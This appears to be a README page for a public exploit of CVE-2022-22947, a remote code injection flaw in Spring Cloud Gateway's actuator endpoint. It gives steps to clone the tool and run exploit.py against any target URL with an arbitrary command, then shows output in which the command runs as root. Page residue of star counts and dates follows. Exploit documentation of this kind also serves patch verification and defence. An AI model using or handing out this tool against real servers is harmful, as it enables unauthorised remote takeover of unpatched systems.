Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)
CVE: CVE-2022-22947
CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)
Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Usage
git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'
[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'
###################################################
# #
# Exploit for CVE-2022-22947 #
# - Carlos Vieira (Crowsec) #
# #
# Usage: #
# python3 exploit.py <url> <command> #
# #
# Example: #
# python3 exploit.py http://localhost:8080 'id' #
# #
###################################################
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)
References
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
52 Dec 22, 2022
59 Dec 24, 2022
88 Dec 23, 2022
1 Feb 07, 2022
1 Jan 10, 2022
795 Dec 29, 2022
9 Oct 19, 2022
16 Aug 30, 2022
2 Dec 16, 2021
4.1k Jan 09, 2023
1 Oct 12, 2021
500 Jan 06, 2023
3 Nov 13, 2021
1 Dec 18, 2021
2.8k Dec 29, 2022
20 Dec 24, 2022
11 Dec 06, 2022
14 Nov 11, 2022
352 Jan 02, 2023
45 Dec 11, 2022